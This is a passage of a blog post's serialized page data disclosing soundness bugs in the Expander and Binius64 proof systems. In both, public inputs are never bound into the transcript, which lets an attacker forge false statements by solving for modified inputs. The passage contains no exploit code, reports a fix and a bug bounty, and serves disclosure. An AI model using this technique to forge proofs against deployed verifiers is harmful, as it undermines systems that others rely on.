",{"type":21,"tag":34,"props":121602,"children":121605},{"href":121603,"rel":121604},"https://github.com/scroll-tech/ceno/issues/1125",[38],[121606],{"type":27,"value":121607},"#1125",{"type":27,"value":2109},{"type":21,"tag":19590,"props":121610,"children":121611},{},[],{"type":21,"tag":59,"props":121613,"children":121615},{"id":121614},"expander-polyhedra",[121616],{"type":27,"value":121617},"Expander (Polyhedra)",{"type":21,"tag":30,"props":121619,"children":121620},{},[121621],{"type":27,"value":121622},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":21,"tag":30,"props":121624,"children":121625},{},[121626],{"type":21,"tag":6137,"props":121627,"children":121628},{},[121629],{"type":27,"value":115845},{"type":21,"tag":187,"props":121631,"children":121633},{"code":121632},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[121634],{"type":21,"tag":194,"props":121635,"children":121636},{"__ignoreMap":7},[121637],{"type":27,"value":121632},{"type":21,"tag":30,"props":121639,"children":121640},{},[121641,121643,121649],{"type":27,"value":121642},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":21,"tag":194,"props":121644,"children":121646},{"className":121645},[],[121647],{"type":27,"value":121648},"eval_cst",{"type":27,"value":121650}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":21,"tag":187,"props":121652,"children":121654},{"code":121653,"language":3788,"meta":7,"className":3789,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[121655],{"type":21,"tag":194,"props":121656,"children":121657},{"__ignoreMap":7},[121658],{"type":21,"tag":198,"props":121659,"children":121660},{"class":200,"line":201},[121661,121665,121670,121675,121679,121683,121687,121691,121696,121700,121705,121710,121714,121719],{"type":21,"tag":198,"props":121662,"children":121663},{"style":226},[121664],{"type":27,"value":77014},{"type":21,"tag":198,"props":121666,"children":121667},{"style":683},[121668],{"type":27,"value":121669}," -=",{"type":21,"tag":198,"props":121671,"children":121672},{"style":1966},[121673],{"type":27,"value":121674}," GKRVerifierHelper",{"type":21,"tag":198,"props":121676,"children":121677},{"style":683},[121678],{"type":27,"value":4286},{"type":21,"tag":198,"props":121680,"children":121681},{"style":698},[121682],{"type":27,"value":121648},{"type":21,"tag":198,"props":121684,"children":121685},{"style":211},[121686],{"type":27,"value":706},{"type":21,"tag":198,"props":121688,"children":121689},{"style":683},[121690],{"type":27,"value":3917},{"type":21,"tag":198,"props":121692,"children":121693},{"style":226},[121694],{"type":27,"value":121695},"layer",{"type":21,"tag":198,"props":121697,"children":121698},{"style":683},[121699],{"type":27,"value":658},{"type":21,"tag":198,"props":121701,"children":121702},{"style":211},[121703],{"type":27,"value":121704},"const_, ",{"type":21,"tag":198,"props":121706,"children":121707},{"style":226},[121708],{"type":27,"value":121709},"public_input",{"type":21,"tag":198,"props":121711,"children":121712},{"style":211},[121713],{"type":27,"value":828},{"type":21,"tag":198,"props":121715,"children":121716},{"style":226},[121717],{"type":27,"value":121718},"sp",{"type":21,"tag":198,"props":121720,"children":121721},{"style":211},[121722],{"type":27,"value":1470},{"type":21,"tag":30,"props":121724,"children":121725},{},[121726,121728,121733],{"type":27,"value":121727},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":21,"tag":194,"props":121729,"children":121731},{"className":121730},[],[121732],{"type":27,"value":121718},{"type":27,"value":3394},{"type":21,"tag":30,"props":121735,"children":121736},{},[121737],{"type":21,"tag":6137,"props":121738,"children":121739},{},[121740],{"type":27,"value":121741},"The vulnerability:",{"type":21,"tag":30,"props":121743,"children":121744},{},[121745,121750],{"type":21,"tag":194,"props":121746,"children":121748},{"className":121747},[],[121749],{"type":27,"value":121709},{"type":27,"value":121751}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":21,"tag":30,"props":121753,"children":121754},{},[121755],{"type":21,"tag":1376,"props":121756,"children":121759},{"alt":121757,"src":121758},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":21,"tag":30,"props":121761,"children":121762},{},[121763,121764,121769],{"type":27,"value":534},{"type":21,"tag":194,"props":121765,"children":121767},{"className":121766},[],[121768],{"type":27,"value":121648},{"type":27,"value":121770}," function computes a linear combination:",{"type":21,"tag":30,"props":121772,"children":121773},{},[121774],{"type":21,"tag":194,"props":121775,"children":121777},{"className":121776},[4794,4795],[121778],{"type":21,"tag":198,"props":121779,"children":121781},{"className":121780},[4800],[121782],{"type":21,"tag":198,"props":121783,"children":121785},{"className":121784,"ariaHidden":4806},[4805],[121786,121831,121955],{"type":21,"tag":198,"props":121787,"children":121789},{"className":121788},[4811],[121790,121794,121803,121808,121818,121822,121827],{"type":21,"tag":198,"props":121791,"children":121793},{"className":121792,"style":94842},[4816],[],{"type":21,"tag":198,"props":121795,"children":121797},{"className":121796},[4822,27],[121798],{"type":21,"tag":198,"props":121799,"children":121801},{"className":121800},[4822],[121802],{"type":27,"value":1397},{"type":21,"tag":198,"props":121804,"children":121806},{"className":121805,"style":93429},[4822],[121807],{"type":27,"value":3891},{"type":21,"tag":198,"props":121809,"children":121811},{"className":121810},[4822,27],[121812],{"type":21,"tag":198,"props":121813,"children":121815},{"className":121814},[4822],[121816],{"type":27,"value":121817},"cst",{"type":21,"tag":198,"props":121819,"children":121821},{"className":121820,"style":4998},[4901],[],{"type":21,"tag":198,"props":121823,"children":121825},{"className":121824},[5003],[121826],{"type":27,"value":3174},{"type":21,"tag":198,"props":121828,"children":121830},{"className":121829,"style":4998},[4901],[],{"type":21,"tag":198,"props":121832,"children":121834},{"className":121833},[4811],[121835,121839,121896,121900,121927,121932,121937,121942,121946,121951],{"type":21,"tag":198,"props":121836,"children":121838},{"className":121837,"style":93371},[4816],[],{"type":21,"tag":198,"props":121840,"children":121842},{"className":121841},[22417],[121843,121848],{"type":21,"tag":198,"props":121844,"children":121846},{"className":121845,"style":22424},[22417,22422,22423],[121847],{"type":27,"value":109224},{"type":21,"tag":198,"props":121849,"children":121851},{"className":121850},[4837],[121852],{"type":21,"tag":198,"props":121853,"children":121855},{"className":121854},[4842,22435],[121856,121885],{"type":21,"tag":198,"props":121857,"children":121859},{"className":121858},[4847],[121860,121880],{"type":21,"tag":198,"props":121861,"children":121863},{"className":121862,"style":114636},[4852],[121864],{"type":21,"tag":198,"props":121865,"children":121866},{"style":22448},[121867,121871],{"type":21,"tag":198,"props":121868,"children":121870},{"className":121869,"style":4862},[4861],[],{"type":21,"tag":198,"props":121872,"children":121874},{"className":121873},[4867,4868,4869,4870],[121875],{"type":21,"tag":198,"props":121876,"children":121878},{"className":121877},[4822,22381,4870],[121879],{"type":27,"value":4544},{"type":21,"tag":198,"props":121881,"children":121883},{"className":121882},[22538],[121884],{"type":27,"value":22541},{"type":21,"tag":198,"props":121886,"children":121888},{"className":121887},[4847],[121889],{"type":21,"tag":198,"props":121890,"children":121892},{"className":121891,"style":114916},[4852],[121893],{"type":21,"tag":198,"props":121894,"children":121895},{},[],{"type":21,"tag":198,"props":121897,"children":121899},{"className":121898,"style":4939},[4901],[],{"type":21,"tag":198,"props":121901,"children":121903},{"className":121902},[4822],[121904,121913,121918],{"type":21,"tag":198,"props":121905,"children":121907},{"className":121906},[4822,27],[121908],{"type":21,"tag":198,"props":121909,"children":121911},{"className":121910},[4822],[121912],{"type":27,"value":62053},{"type":21,"tag":198,"props":121914,"children":121916},{"className":121915,"style":93429},[4822],[121917],{"type":27,"value":3891},{"type":21,"tag":198,"props":121919,"children":121921},{"className":121920},[4822,27],[121922],{"type":21,"tag":198,"props":121923,"children":121925},{"className":121924},[4822],[121926],{"type":27,"value":9177},{"type":21,"tag":198,"props":121928,"children":121930},{"className":121929},[22510],[121931],{"type":27,"value":2051},{"type":21,"tag":198,"props":121933,"children":121935},{"className":121934},[4822,22381],[121936],{"type":27,"value":4544},{"type":21,"tag":198,"props":121938,"children":121940},{"className":121939},[22532],[121941],{"type":27,"value":2071},{"type":21,"tag":198,"props":121943,"children":121945},{"className":121944,"style":4902},[4901],[],{"type":21,"tag":198,"props":121947,"children":121949},{"className":121948},[4907],[121950],{"type":27,"value":111691},{"type":21,"tag":198,"props":121952,"children":121954},{"className":121953,"style":4902},[4901],[],{"type":21,"tag":198,"props":121956,"children":121958},{"className":121957},[4811],[121959,121963,121972,121977,121982,121987,121991,122040],{"type":21,"tag":198,"props":121960,"children":121962},{"className":121961,"style":4922},[4816],[],{"type":21,"tag":198,"props":121964,"children":121966},{"className":121965},[4822,27],[121967],{"type":21,"tag":198,"props":121968,"children":121970},{"className":121969},[4822],[121971],{"type":27,"value":113018},{"type":21,"tag":198,"props":121973,"children":121975},{"className":121974},[22510],[121976],{"type":27,"value":706},{"type":21,"tag":198,"props":121978,"children":121980},{"className":121979},[4822,22381],[121981],{"type":27,"value":4544},{"type":21,"tag":198,"props":121983,"children":121985},{"className":121984},[4933],[121986],{"type":27,"value":2205},{"type":21,"tag":198,"props":121988,"children":121990},{"className":121989,"style":4939},[4901],[],{"type":21,"tag":198,"props":121992,"children":121994},{"className":121993},[4822,112578],[121995],{"type":21,"tag":198,"props":121996,"children":121998},{"className":121997},[4842],[121999],{"type":21,"tag":198,"props":122000,"children":122002},{"className":122001},[4847],[122003],{"type":21,"tag":198,"props":122004,"children":122006},{"className":122005,"style":112664},[4852],[122007,122019],{"type":21,"tag":198,"props":122008,"children":122009},{"style":112595},[122010,122014],{"type":21,"tag":198,"props":122011,"children":122013},{"className":122012,"style":112600},[4861],[],{"type":21,"tag":198,"props":122015,"children":122017},{"className":122016,"style":93429},[4822,22381],[122018],{"type":27,"value":94248},{"type":21,"tag":198,"props":122020,"children":122021},{"style":112595},[122022,122026],{"type":21,"tag":198,"props":122023,"children":122025},{"className":122024,"style":112600},[4861],[],{"type":21,"tag":198,"props":122027,"children":122029},{"className":122028,"style":112688},[112618],[122030],{"type":21,"tag":198,"props":122031,"children":122033},{"className":122032,"style":112694},[112693],[122034],{"type":21,"tag":35050,"props":122035,"children":122036},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[122037],{"type":21,"tag":112706,"props":122038,"children":122039},{"d":112708},[],{"type":21,"tag":198,"props":122041,"children":122043},{"className":122042},[22532],[122044],{"type":27,"value":2109},{"type":21,"tag":30,"props":122046,"children":122047},{},[122048,122049,122118,122120,122125,122127,122132],{"type":27,"value":116265},{"type":21,"tag":194,"props":122050,"children":122052},{"className":122051},[4794,4795],[122053],{"type":21,"tag":198,"props":122054,"children":122056},{"className":122055},[4800],[122057],{"type":21,"tag":198,"props":122058,"children":122060},{"className":122059,"ariaHidden":4806},[4805],[122061],{"type":21,"tag":198,"props":122062,"children":122064},{"className":122063},[4811],[122065,122069],{"type":21,"tag":198,"props":122066,"children":122068},{"className":122067,"style":112664},[4816],[],{"type":21,"tag":198,"props":122070,"children":122072},{"className":122071},[4822,112578],[122073],{"type":21,"tag":198,"props":122074,"children":122076},{"className":122075},[4842],[122077],{"type":21,"tag":198,"props":122078,"children":122080},{"className":122079},[4847],[122081],{"type":21,"tag":198,"props":122082,"children":122084},{"className":122083,"style":112664},[4852],[122085,122097],{"type":21,"tag":198,"props":122086,"children":122087},{"style":112595},[122088,122092],{"type":21,"tag":198,"props":122089,"children":122091},{"className":122090,"style":112600},[4861],[],{"type":21,"tag":198,"props":122093,"children":122095},{"className":122094,"style":93429},[4822,22381],[122096],{"type":27,"value":94248},{"type":21,"tag":198,"props":122098,"children":122099},{"style":112595},[122100,122104],{"type":21,"tag":198,"props":122101,"children":122103},{"className":122102,"style":112600},[4861],[],{"type":21,"tag":198,"props":122105,"children":122107},{"className":122106,"style":112688},[112618],[122108],{"type":21,"tag":198,"props":122109,"children":122111},{"className":122110,"style":112694},[112693],[122112],{"type":21,"tag":35050,"props":122113,"children":122114},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[122115],{"type":21,"tag":112706,"props":122116,"children":122117},{"d":112708},[],{"type":27,"value":122119}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":21,"tag":194,"props":122121,"children":122123},{"className":122122},[],[122124],{"type":27,"value":121709},{"type":27,"value":122126},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":21,"tag":194,"props":122128,"children":122130},{"className":122129},[],[122131],{"type":27,"value":121709},{"type":27,"value":122133}," that makes the verifier's check pass.",{"type":21,"tag":30,"props":122135,"children":122136},{},[122137,122141,122143,122150,122151,122154,122161],{"type":21,"tag":6137,"props":122138,"children":122139},{},[122140],{"type":27,"value":117139},{"type":27,"value":122142}," Fixed on 21st January 2026 via ",{"type":21,"tag":34,"props":122144,"children":122147},{"href":122145,"rel":122146},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[38],[122148],{"type":27,"value":122149},"commit 4a8c2be",{"type":27,"value":915},{"type":21,"tag":31768,"props":122152,"children":122153},{},[],{"type":21,"tag":34,"props":122155,"children":122158},{"href":122156,"rel":122157},"https://blog.polyhedra.network/expander-bug-bounty/",[38],[122159],{"type":27,"value":122160},"Claimed 500k Bug bounty",{"type":27,"value":122162}," award pending",{"type":21,"tag":19590,"props":122164,"children":122165},{},[],{"type":21,"tag":59,"props":122167,"children":122169},{"id":122168},"binius64",[122170],{"type":27,"value":108272},{"type":21,"tag":30,"props":122172,"children":122173},{},[122174,122176,122303],{"type":27,"value":122175},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":21,"tag":194,"props":122177,"children":122179},{"className":122178},[4794,4795],[122180],{"type":21,"tag":198,"props":122181,"children":122183},{"className":122182},[4800],[122184],{"type":21,"tag":198,"props":122185,"children":122187},{"className":122186,"ariaHidden":4806},[4805],[122188],{"type":21,"tag":198,"props":122189,"children":122191},{"className":122190},[4811],[122192,122197],{"type":21,"tag":198,"props":122193,"children":122196},{"className":122194,"style":122195},[4816],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":21,"tag":198,"props":122198,"children":122200},{"className":122199},[4822],[122201,122208],{"type":21,"tag":198,"props":122202,"children":122205},{"className":122203},[4822,122204],"mathbb",[122206],{"type":27,"value":122207},"F",{"type":21,"tag":198,"props":122209,"children":122211},{"className":122210},[4837],[122212],{"type":21,"tag":198,"props":122213,"children":122215},{"className":122214},[4842,22435],[122216,122291],{"type":21,"tag":198,"props":122217,"children":122219},{"className":122218},[4847],[122220,122286],{"type":21,"tag":198,"props":122221,"children":122223},{"className":122222,"style":112761},[4852],[122224],{"type":21,"tag":198,"props":122225,"children":122227},{"style":122226},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[122228,122232],{"type":21,"tag":198,"props":122229,"children":122231},{"className":122230,"style":4862},[4861],[],{"type":21,"tag":198,"props":122233,"children":122235},{"className":122234},[4867,4868,4869,4870],[122236],{"type":21,"tag":198,"props":122237,"children":122239},{"className":122238},[4822,4870],[122240],{"type":21,"tag":198,"props":122241,"children":122243},{"className":122242},[4822,4870],[122244,122249],{"type":21,"tag":198,"props":122245,"children":122247},{"className":122246},[4822,4870],[122248],{"type":27,"value":3931},{"type":21,"tag":198,"props":122250,"children":122252},{"className":122251},[4837],[122253],{"type":21,"tag":198,"props":122254,"children":122256},{"className":122255},[4842],[122257],{"type":21,"tag":198,"props":122258,"children":122260},{"className":122259},[4847],[122261],{"type":21,"tag":198,"props":122262,"children":122265},{"className":122263,"style":122264},[4852],"height:0.7463em;",[122266],{"type":21,"tag":198,"props":122267,"children":122268},{"style":112886},[122269,122273],{"type":21,"tag":198,"props":122270,"children":122272},{"className":122271,"style":109289},[4861],[],{"type":21,"tag":198,"props":122274,"children":122276},{"className":122275},[4867,109294,109295,4870],[122277],{"type":21,"tag":198,"props":122278,"children":122280},{"className":122279},[4822,4870],[122281],{"type":21,"tag":198,"props":122282,"children":122284},{"className":122283},[4822,4870],[122285],{"type":27,"value":30648},{"type":21,"tag":198,"props":122287,"children":122289},{"className":122288},[22538],[122290],{"type":27,"value":22541},{"type":21,"tag":198,"props":122292,"children":122294},{"className":122293},[4847],[122295],{"type":21,"tag":198,"props":122296,"children":122299},{"className":122297,"style":122298},[4852],"height:0.1776em;",[122300],{"type":21,"tag":198,"props":122301,"children":122302},{},[],{"type":27,"value":122304}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":21,"tag":30,"props":122306,"children":122307},{},[122308,122310,122315],{"type":27,"value":122309},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":21,"tag":6137,"props":122311,"children":122312},{},[122313],{"type":27,"value":122314},"Shift Protocol",{"type":27,"value":122316}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":21,"tag":30,"props":122318,"children":122319},{},[122320],{"type":21,"tag":6137,"props":122321,"children":122322},{},[122323],{"type":27,"value":121741},{"type":21,"tag":30,"props":122325,"children":122326},{},[122327],{"type":27,"value":122328},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":21,"tag":187,"props":122330,"children":122332},{"code":122331,"language":3788,"meta":7,"className":3789,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[122333],{"type":21,"tag":194,"props":122334,"children":122335},{"__ignoreMap":7},[122336,122371,122396,122430,122438],{"type":21,"tag":198,"props":122337,"children":122338},{"class":200,"line":201},[122339,122343,122347,122351,122355,122359,122363,122367],{"type":21,"tag":198,"props":122340,"children":122341},{"style":249},[122342],{"type":27,"value":14497},{"type":21,"tag":198,"props":122344,"children":122345},{"style":249},[122346],{"type":27,"value":14502},{"type":21,"tag":198,"props":122348,"children":122349},{"style":698},[122350],{"type":27,"value":8977},{"type":21,"tag":198,"props":122352,"children":122353},{"style":211},[122354],{"type":27,"value":3159},{"type":21,"tag":198,"props":122356,"children":122357},{"style":1966},[122358],{"type":27,"value":122207},{"type":21,"tag":198,"props":122360,"children":122361},{"style":211},[122362],{"type":27,"value":828},{"type":21,"tag":198,"props":122364,"children":122365},{"style":1966},[122366],{"type":27,"value":116658},{"type":21,"tag":198,"props":122368,"children":122369},{"style":211},[122370],{"type":27,"value":7400},{"type":21,"tag":198,"props":122372,"children":122373},{"class":200,"line":217},[122374,122379,122383,122387,122392],{"type":21,"tag":198,"props":122375,"children":122376},{"style":226},[122377],{"type":27,"value":122378}," constraint_system",{"type":21,"tag":198,"props":122380,"children":122381},{"style":683},[122382],{"type":27,"value":185},{"type":21,"tag":198,"props":122384,"children":122385},{"style":683},[122386],{"type":27,"value":7953},{"type":21,"tag":198,"props":122388,"children":122389},{"style":1966},[122390],{"type":27,"value":122391},"ConstraintSystem",{"type":21,"tag":198,"props":122393,"children":122394},{"style":211},[122395],{"type":27,"value":257},{"type":21,"tag":198,"props":122397,"children":122398},{"class":200,"line":236},[122399,122403,122407,122411,122415,122420,122425],{"type":21,"tag":198,"props":122400,"children":122401},{"style":226},[122402],{"type":27,"value":8334},{"type":21,"tag":198,"props":122404,"children":122405},{"style":683},[122406],{"type":27,"value":185},{"type":21,"tag":198,"props":122408,"children":122409},{"style":683},[122410],{"type":27,"value":7953},{"type":21,"tag":198,"props":122412,"children":122413},{"style":211},[122414],{"type":27,"value":2051},{"type":21,"tag":198,"props":122416,"children":122417},{"style":1966},[122418],{"type":27,"value":122419},"Word",{"type":21,"tag":198,"props":122421,"children":122422},{"style":211},[122423],{"type":27,"value":122424},"], ",{"type":21,"tag":198,"props":122426,"children":122427},{"style":1233},[122428],{"type":27,"value":122429},"// \u003C- NEVER ABSORBED\n",{"type":21,"tag":198,"props":122431,"children":122432},{"class":200,"line":260},[122433],{"type":21,"tag":198,"props":122434,"children":122435},{"style":1233},[122436],{"type":27,"value":122437}," // ...\n",{"type":21,"tag":198,"props":122439,"children":122440},{"class":200,"line":281},[122441,122445,122449,122453,122457,122462,122466,122470,122474,122478],{"type":21,"tag":198,"props":122442,"children":122443},{"style":211},[122444],{"type":27,"value":1541},{"type":21,"tag":198,"props":122446,"children":122447},{"style":683},[122448],{"type":27,"value":14564},{"type":21,"tag":198,"props":122450,"children":122451},{"style":1966},[122452],{"type":27,"value":14569},{"type":21,"tag":198,"props":122454,"children":122455},{"style":211},[122456],{"type":27,"value":3159},{"type":21,"tag":198,"props":122458,"children":122459},{"style":1966},[122460],{"type":27,"value":122461},"VerifyOutput",{"type":21,"tag":198,"props":122463,"children":122464},{"style":211},[122465],{"type":27,"value":3159},{"type":21,"tag":198,"props":122467,"children":122468},{"style":1966},[122469],{"type":27,"value":122207},{"type":21,"tag":198,"props":122471,"children":122472},{"style":211},[122473],{"type":27,"value":7442},{"type":21,"tag":198,"props":122475,"children":122476},{"style":1966},[122477],{"type":27,"value":38161},{"type":21,"tag":198,"props":122479,"children":122480},{"style":211},[122481],{"type":27,"value":3203},{"type":21,"tag":30,"props":122483,"children":122484},{},[122485,122487,122493,122494,122500,122502,122506],{"type":27,"value":122486},"In the shift protocol, challenges ",{"type":21,"tag":194,"props":122488,"children":122490},{"className":122489},[],[122491],{"type":27,"value":122492},"r_j",{"type":27,"value":11801},{"type":21,"tag":194,"props":122495,"children":122497},{"className":122496},[],[122498],{"type":27,"value":122499},"inout_eval_point",{"type":27,"value":122501}," are sampled ",{"type":21,"tag":6137,"props":122503,"children":122504},{},[122505],{"type":27,"value":104973},{"type":27,"value":122507}," the public witness is bound.",{"type":21,"tag":30,"props":122509,"children":122510},{},[122511],{"type":21,"tag":6137,"props":122512,"children":122513},{},[122514],{"type":27,"value":115861},{"type":21,"tag":30,"props":122516,"children":122517},{},[122518],{"type":21,"tag":1376,"props":122519,"children":122522},{"alt":122520,"src":122521},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":21,"tag":30,"props":122524,"children":122525},{},[122526],{"type":27,"value":122527},"During verification",{"type":21,"tag":71,"props":122529,"children":122530},{},[122531,122551,122563,122582],{"type":21,"tag":75,"props":122532,"children":122533},{},[122534,122536,122541,122543,122549],{"type":27,"value":122535},"Sumcheck produces challenge points ",{"type":21,"tag":194,"props":122537,"children":122539},{"className":122538},[],[122540],{"type":27,"value":122492},{"type":27,"value":122542}," (bit indices) and ",{"type":21,"tag":194,"props":122544,"children":122546},{"className":122545},[],[122547],{"type":27,"value":122548},"r_s",{"type":27,"value":122550}," (shift indices)",{"type":21,"tag":75,"props":122552,"children":122553},{},[122554,122556,122561],{"type":27,"value":122555},"Verifier samples ",{"type":21,"tag":194,"props":122557,"children":122559},{"className":122558},[],[122560],{"type":27,"value":122499},{"type":27,"value":122562}," from transcript",{"type":21,"tag":75,"props":122564,"children":122565},{},[122566,122568,122574,122576,122581],{"type":27,"value":122567},"Verifier computes ",{"type":21,"tag":194,"props":122569,"children":122571},{"className":122570},[],[122572],{"type":27,"value":122573},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":27,"value":122575}," using the unbound ",{"type":21,"tag":194,"props":122577,"children":122579},{"className":122578},[],[122580],{"type":27,"value":62053},{"type":27,"value":18936},{"type":21,"tag":75,"props":122583,"children":122584},{},[122585,122586,122592],{"type":27,"value":534},{"type":21,"tag":194,"props":122587,"children":122589},{"className":122588},[],[122590],{"type":27,"value":122591},"public_eval",{"type":27,"value":122593}," feeds into subsequent verification equations",{"type":21,"tag":30,"props":122595,"children":122596},{},[122597],{"type":27,"value":122598},"The MLE evaluation is linear in the public witness bits:",{"type":21,"tag":30,"props":122600,"children":122601},{},[122602],{"type":21,"tag":194,"props":122603,"children":122605},{"className":122604},[4794,4795],[122606],{"type":21,"tag":198,"props":122607,"children":122609},{"className":122608},[4800],[122610],{"type":21,"tag":198,"props":122611,"children":122613},{"className":122612,"ariaHidden":4806},[4805],[122614,122658,122798,122910],{"type":21,"tag":198,"props":122615,"children":122617},{"className":122616},[4811],[122618,122622,122631,122636,122645,122649,122654],{"type":21,"tag":198,"props":122619,"children":122621},{"className":122620,"style":94842},[4816],[],{"type":21,"tag":198,"props":122623,"children":122625},{"className":122624},[4822,27],[122626],{"type":21,"tag":198,"props":122627,"children":122629},{"className":122628},[4822],[122630],{"type":27,"value":62053},{"type":21,"tag":198,"props":122632,"children":122634},{"className":122633,"style":93429},[4822],[122635],{"type":27,"value":3891},{"type":21,"tag":198,"props":122637,"children":122639},{"className":122638},[4822,27],[122640],{"type":21,"tag":198,"props":122641,"children":122643},{"className":122642},[4822],[122644],{"type":27,"value":1397},{"type":21,"tag":198,"props":122646,"children":122648},{"className":122647,"style":4998},[4901],[],{"type":21,"tag":198,"props":122650,"children":122652},{"className":122651},[5003],[122653],{"type":27,"value":3174},{"type":21,"tag":198,"props":122655,"children":122657},{"className":122656,"style":4998},[4901],[],{"type":21,"tag":198,"props":122659,"children":122661},{"className":122660},[4811],[122662,122666,122738,122742,122755,122760,122765,122770,122775,122780,122785,122789,122794],{"type":21,"tag":198,"props":122663,"children":122665},{"className":122664,"style":119191},[4816],[],{"type":21,"tag":198,"props":122667,"children":122669},{"className":122668},[22417],[122670,122675],{"type":21,"tag":198,"props":122671,"children":122673},{"className":122672,"style":22424},[22417,22422,22423],[122674],{"type":27,"value":109224},{"type":21,"tag":198,"props":122676,"children":122678},{"className":122677},[4837],[122679],{"type":21,"tag":198,"props":122680,"children":122682},{"className":122681},[4842,22435],[122683,122727],{"type":21,"tag":198,"props":122684,"children":122686},{"className":122685},[4847],[122687,122722],{"type":21,"tag":198,"props":122688,"children":122690},{"className":122689,"style":114101},[4852],[122691],{"type":21,"tag":198,"props":122692,"children":122693},{"style":22448},[122694,122698],{"type":21,"tag":198,"props":122695,"children":122697},{"className":122696,"style":4862},[4861],[],{"type":21,"tag":198,"props":122699,"children":122701},{"className":122700},[4867,4868,4869,4870],[122702],{"type":21,"tag":198,"props":122703,"children":122705},{"className":122704},[4822,4870],[122706,122712,122717],{"type":21,"tag":198,"props":122707,"children":122710},{"className":122708,"style":122709},[4822,22381,4870],"margin-right:0.02691em;",[122711],{"type":27,"value":2692},{"type":21,"tag":198,"props":122713,"children":122715},{"className":122714},[4933,4870],[122716],{"type":27,"value":2205},{"type":21,"tag":198,"props":122718,"children":122720},{"className":122719},[4822,22381,4870],[122721],{"type":27,"value":4029},{"type":21,"tag":198,"props":122723,"children":122725},{"className":122724},[22538],[122726],{"type":27,"value":22541},{"type":21,"tag":198,"props":122728,"children":122730},{"className":122729},[4847],[122731],{"type":21,"tag":198,"props":122732,"children":122734},{"className":122733,"style":114667},[4852],[122735],{"type":21,"tag":198,"props":122736,"children":122737},{},[],{"type":21,"tag":198,"props":122739,"children":122741},{"className":122740,"style":4939},[4901],[],{"type":21,"tag":198,"props":122743,"children":122745},{"className":122744},[4822],[122746],{"type":21,"tag":198,"props":122747,"children":122749},{"className":122748},[4822,27],[122750],{"type":21,"tag":198,"props":122751,"children":122753},{"className":122752},[4822],[122754],{"type":27,"value":62053},{"type":21,"tag":198,"props":122756,"children":122758},{"className":122757},[22510],[122759],{"type":27,"value":2051},{"type":21,"tag":198,"props":122761,"children":122763},{"className":122762,"style":122709},[4822,22381],[122764],{"type":27,"value":2692},{"type":21,"tag":198,"props":122766,"children":122768},{"className":122767},[22532],[122769],{"type":27,"value":2071},{"type":21,"tag":198,"props":122771,"children":122773},{"className":122772},[22510],[122774],{"type":27,"value":2051},{"type":21,"tag":198,"props":122776,"children":122778},{"className":122777},[4822,22381],[122779],{"type":27,"value":4029},{"type":21,"tag":198,"props":122781,"children":122783},{"className":122782},[22532],[122784],{"type":27,"value":2071},{"type":21,"tag":198,"props":122786,"children":122788},{"className":122787,"style":4902},[4901],[],{"type":21,"tag":198,"props":122790,"children":122792},{"className":122791},[4907],[122793],{"type":27,"value":111691},{"type":21,"tag":198,"props":122795,"children":122797},{"className":122796,"style":4902},[4901],[],{"type":21,"tag":198,"props":122799,"children":122801},{"className":122800},[4811],[122802,122807,122816,122821,122826,122831,122835,122892,122897,122901,122906],{"type":21,"tag":198,"props":122803,"children":122806},{"className":122804,"style":122805},[4816],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":21,"tag":198,"props":122808,"children":122810},{"className":122809},[4822,27],[122811],{"type":21,"tag":198,"props":122812,"children":122814},{"className":122813},[4822],[122815],{"type":27,"value":113018},{"type":21,"tag":198,"props":122817,"children":122819},{"className":122818},[22510],[122820],{"type":27,"value":706},{"type":21,"tag":198,"props":122822,"children":122824},{"className":122823},[4822,22381],[122825],{"type":27,"value":4029},{"type":21,"tag":198,"props":122827,"children":122829},{"className":122828},[4933],[122830],{"type":27,"value":2205},{"type":21,"tag":198,"props":122832,"children":122834},{"className":122833,"style":4939},[4901],[],{"type":21,"tag":198,"props":122836,"children":122838},{"className":122837},[4822],[122839,122844],{"type":21,"tag":198,"props":122840,"children":122842},{"className":122841,"style":93429},[4822,22381],[122843],{"type":27,"value":94248},{"type":21,"tag":198,"props":122845,"children":122847},{"className":122846},[4837],[122848],{"type":21,"tag":198,"props":122849,"children":122851},{"className":122850},[4842,22435],[122852,122881],{"type":21,"tag":198,"props":122853,"children":122855},{"className":122854},[4847],[122856,122876],{"type":21,"tag":198,"props":122857,"children":122859},{"className":122858,"style":93958},[4852],[122860],{"type":21,"tag":198,"props":122861,"children":122862},{"style":110428},[122863,122867],{"type":21,"tag":198,"props":122864,"children":122866},{"className":122865,"style":4862},[4861],[],{"type":21,"tag":198,"props":122868,"children":122870},{"className":122869},[4867,4868,4869,4870],[122871],{"type":21,"tag":198,"props":1